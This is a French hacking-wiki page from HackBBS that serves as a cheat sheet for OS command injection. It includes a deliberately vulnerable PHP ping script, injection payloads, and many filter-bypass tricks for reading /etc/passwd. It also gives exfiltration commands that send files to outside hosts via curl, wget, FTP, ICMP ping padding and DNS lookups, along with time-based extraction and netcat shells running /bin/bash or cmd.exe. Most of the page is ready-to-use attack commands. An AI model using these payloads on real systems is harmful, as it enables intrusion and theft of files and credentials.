Web:Injection de Commandes

De HackBBS
Aller à la navigation Aller à la recherche

Lors de l'exécution d'une commande en ligne prenant en paramètre une entrée utilisateur, il est parfois possible de s'évader du champ d'action prévu par l'ajout de certains caractères:

Les Métacharacteres

 ;	| Le point-virgule est le métacaractère le plus couramment utilisé pour tester une faille d'injection. Le shell exécute toutes les commandes séparées par le point-virgule.
 &	| Il sépare plusieurs commandes sur une ligne de commande. Il exécute la première commande puis la seconde.
&& | Si la commande précédente à && est réussie, alors seulement elle exécute la commande suivante.
 |	| Redirige les sorties standard de la première commande vers l'entrée standard de la deuxième commande.
||	| Le || n'exécute la commande suivante que si la commande précédente échoue.
``	| Le métacaractère "unquote" est utilisé pour forcer le shell à interpréter et à exécuter la commande à l'interieur. Ex: '$ Variable="OS version `uname -a`" && echo $variable'

Exemple simple de script PHP utilisant ping. 

<?php
   if(isset($_POST["ip"]) && !empty($_POST["ip"])){
       $response = shell_exec("timeout 5 bash -c 'ping -c 3 ".$_POST["ip"]."'");
       echo $response;
   }
?>

Au lieu de fournir une ip, il est possible d'injecter une commade par l'utilisation des métacharacteres.

  • 127.0.0.1;ls -la
  • ;ls -la
  • ;ls%20-la
  • ;ls%09-la
  • (...)

Afficher le contenu d'un fichier PHP

L'injection de la commande ;php -s file.php va permettre d'afficher le contenu du fichier php plutôt que ;cat file.php qui risque lui d'être exécuté.

Contournement de filtres

Si certain filtres sont en place, par exemple en supprimant les caractères d'évasion, on peut tenter un retour à la ligne via l'ajout de %0a.

La commande suivant le %0a sera alors exécutée.

Exemple de filtre maison

// Set blacklist
    $substitutions = array(
        '&'  => ,
        ';'  => ,
        '| ' => ,
        '-'  => ,
        '$'  => ,
        '('  => ,
        ')'  => ,
        '`'  => ,
        '||' => ,
    );

On remarque le '| ', ce qui veut dire que le '|' n'est pas filtré s'il n'est pas suivi d'un espace. En y allant à taton on peut retrouver certaines règles.

  • 127.0;.0.1
  • 12&7.0.0.1
  • (...)

Il est donc primordial de jouer avec les espaces!

  • 127.0.0.1|cat password.txt
  • 127.0.0.1 |cat password.txt
  • 127.0.0.1| cat password.txt
  • (...)

Une commande possible serait donc: 

127.0.0.1%0als -la

On peut se retrouver bloquer par l'encodage des caractères spéciaux via les formulaires web (127.0.0.1%250als -la), il semblerait que curl soit plus permissif, ou alors il faudrait modifier directement le header avant l'envoie de la requête.

Autre type de filtres

Double Encoding

Dans le cas oú l'on aurait quelque chose comme ça: 

str_replace("%26", "")

On donc peut tenter un double encoding %%2626 deviendra alors %26.

Sans Espaces

Dans le cas oú les espaces serait supprimmés:

Le Bash Internal Field Separator: $IFS
;cat${IFS}/etc/passwd
SI IFS est blacklisté
;{cat,/etc/passwd}
Utilisation de TAB
;cat%09/etc/passwd
Line-Feed in the middle
;cat%0a/etc/passwd
Utilisation du '+'
;cat+/etc/passwd
Env Variable
;$var='x20';cat${var}/etc/passwd
Sans $ ni {}
;IFS=,;`cat<<</etc,/passwd`

Certains mots blacklistés

Si "cat" ou "passwd" ou "nimp" est blacklisté:

The Wildcard caracters
;/bin/cat /etc/passwd == ;/b*n/c /et*/pawd == ;/b?n/c?? /et?/pa??wd
Unitialized variable $u qui a une valeur nulle
;cat$u /etc$u/passwd
Null Variable
;cat /et``c/pas``swd
;cat /e$()tc/pa$()sswd
;cat /etc$(dlam)/pa$(erde)sswd
Troncation par quote, double quotes, ou backslash
;/bin/c"at" /e"tc"/pa"ss"wd
;/b'i'n/c'a't /e't'c/p'a's's'w'd'
;c\at /e\tc/pa\s\swd/
$@
;c$@at /etc/passwd

Sans Slash

Si le slah est filtré on peut utilisé ${HOME:0;1} qui représente un slash: 

;cat ${HOME:0;1}etc${HOME:0;1}passwd

${SHELLOPTS}

De la même façon on peut utilisé ${SHELLOPTS} pour représenter un caractère spécifique: 

${SHELLOPTS:3:1} représente un c.
${SHELLOPTS:2:1} représente un a.
(À creuser...)
;${SHELLOPTS:3:1}at /etc/p${SHELLOPTS:2:1}sswd

Reverse and Encode

;`echo "dwssap/cte/ tac | rev`
;$(echo Y2F0IC9ldGMvcGFzc3dkCg== | base64 -d)

Hexadecimal encode

;echo -e "x2fx65x74x63x2fx70x61x73x73x77x64" 	# (/etc/passwd)

DATA Exfiltration

Il est parfois possible de ne pas avoir de retour de la commande injectée, on peut alors passer par une requête POST et s'envoyer n'importe quel fichier. ([1])

cURL

$ curl -d "ip=127.0.0.1%0acurl -d"@Any_File" -X POST "https://requestbin.net/r/dyc3s5m8"" -X POST http://exemple.com/index.php
$ curl -d "@file" -X POST http://domain.com

cURL avec FTP

$ curl -T file ftp://ip -user nick:pass

Netcat

$ nc -l -p {port} < {file to extract}

ICMP

Si l'hôte que vous visez a été renforcé et que des outils tels que netcat, wget et CURL ont été supprimés, vous pouvez encore utiliser certaines techniques. Essayez de faire en sorte que l'hôte envoie un ping à votre boîte et voyez si le protocole ICMP passe à travers les pare-feux qui interviennent. Si c'est le cas, et que l'hôte sous-jacent tourne sous Linux, nous pouvons exfiltrer des données dans les requêtes ICMP en utilisant l'indicateur -p. L'option -p vous permet de spécifier jusqu'à 16 octets de "pad". C'est là que nous stockerons les données que nous voulons exfiltrer.

Nous devons d'abord convertir le fichier en hexadécimal, puis spécifier les données à insérer dans le paquet. Ceci peut être fait avec la ligne suivante : 

cat password.txt | xxd -p -c 16 | while read exfile; do ping -p $exfile -c 1 xxx.xxx.xxx.xxx; done

Avec Wireshark, nous pouvons observer les paquets contenant nos données. Vous pouvez écrire un script qui récupère les paquets et réassemble le fichier sur l'hôte.

DNS

De la même manière que ping, DNS peut également être utilisé pour exfiltrer des données. Cette fois, nous allons utiliser chaque ligne de données comme nom d'hôte d'une requête DNS. En surveillant le trafic sur notre machine, nous pouvons réassembler le fichier. Dans ce cas, la commande suivante est soumise dans le cadre de notre requête au serveur vulnérable : 

cat password.txt | while read exfile; do host $exfile.contextis.com xxx.xxx.xxx.xxx; done
for i in $(cat password.txt); do host $i.hkj.com; done

Comme pour le ping, vous pouvez écrire un script pour récupérer les paquets DNS entrants et réassembler le fichier.

Time based data exfiltration

Extraction caractère par caractère : 

$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

Reverse Shell

Avec Netcat: 

nc -L -p port -e cmd.exe 	(Windows)
nc -l -p port -e /bin/bash 	(*nix)
Se connecter
Netcat
$ nc {ip} {port}
$ nc {ip} {port} > output

(Windows) 

type {file to extract} | nc -L -p {port}
wget
wget --post-data exfile=`cat /path/to/file` http://domain.com
wget --post-file file http://domain.com
Telnet
telnet ip port < file
